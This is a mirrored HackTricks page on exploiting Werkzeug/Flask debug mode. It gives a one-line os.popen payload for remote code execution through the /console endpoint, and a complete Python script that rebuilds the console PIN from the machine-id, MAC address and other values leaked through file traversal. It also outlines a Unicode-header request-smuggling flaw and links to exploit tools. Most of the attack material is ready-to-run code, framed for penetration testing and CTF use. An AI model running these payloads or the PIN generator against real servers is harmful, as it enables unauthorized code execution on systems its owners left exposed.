mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
214 lines
10 KiB
Markdown
214 lines
10 KiB
Markdown
# Werkzeug / Flask Debug
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||
|
||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
## Console RCE
|
||
|
||
If debug is active you could try to access to `/console` and gain RCE.
|
||
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
|
||
![](<../../.gitbook/assets/image (117).png>)
|
||
|
||
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
|
||
|
||
## Pin Protected - Path Traversal
|
||
|
||
In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
|
||
|
||
### Werkzeug Console PIN Exploit
|
||
|
||
Force a debug error page in the app to see this:
|
||
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
|
||
A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.
|
||
|
||
To exploit the console PIN, two sets of variables, `probably_public_bits` and `private_bits`, are needed:
|
||
|
||
#### **`probably_public_bits`**
|
||
|
||
* **`username`**: Refers to the user who initiated the Flask session.
|
||
* **`modname`**: Typically designated as `flask.app`.
|
||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generally resolves to **Flask**.
|
||
* **`getattr(mod, '__file__', None)`**: Represents the full path to `app.py` within the Flask directory (e.g., `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` is not applicable, **try `app.pyc`**.
|
||
|
||
#### **`private_bits`**
|
||
|
||
* **`uuid.getnode()`**: Fetches the MAC address of the current machine, with `str(uuid.getnode())` translating it into a decimal format.
|
||
* To **determine the server's MAC address**, one must identify the active network interface used by the app (e.g., `ens3`). In cases of uncertainty, **leak `/proc/net/arp`** to find the device ID, then **extract the MAC address** from **`/sys/class/net/<device id>/address`**.
|
||
* Conversion of a hexadecimal MAC address to decimal can be performed as shown below:
|
||
|
||
```python
|
||
# Example MAC address: 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
* **`get_machine_id()`**: Concatenates data from `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` with the first line of `/proc/self/cgroup` post the last slash (`/`).
|
||
|
||
<details>
|
||
|
||
<summary>Code for `get_machine_id()`</summary>
|
||
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
|
||
</details>
|
||
|
||
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN:
|
||
|
||
Upon collating all necessary data, the exploit script can be executed to generate the Werkzeug console PIN. The script uses the assembled `probably_public_bits` and `private_bits` to create a hash, which then undergoes further processing to produce the final PIN. Below is the Python code for executing this process:
|
||
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user', # username
|
||
'flask.app', # modname
|
||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
# h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv = None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
|
||
This script produces the PIN by hashing the concatenated bits, adding specific salts (`cookiesalt` and `pinsalt`), and formatting the output. It's important to note that the actual values for `probably_public_bits` and `private_bits` need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
|
||
|
||
{% hint style="success" %}
|
||
If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of sha1.
|
||
{% endhint %}
|
||
|
||
## Werkzeug Unicode chars
|
||
|
||
As observed in [**this issue**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug doesn't close a request with Unicode characters in headers. And as explained in [**this writeup**](https://mizu.re/post/twisty-python), this might cause a CL.0 Request Smuggling vulnerability.
|
||
|
||
This is because, In Werkzeug it's possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
|
||
|
||
## Automated Exploitation
|
||
|
||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||
|
||
## References
|
||
|
||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||
|
||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|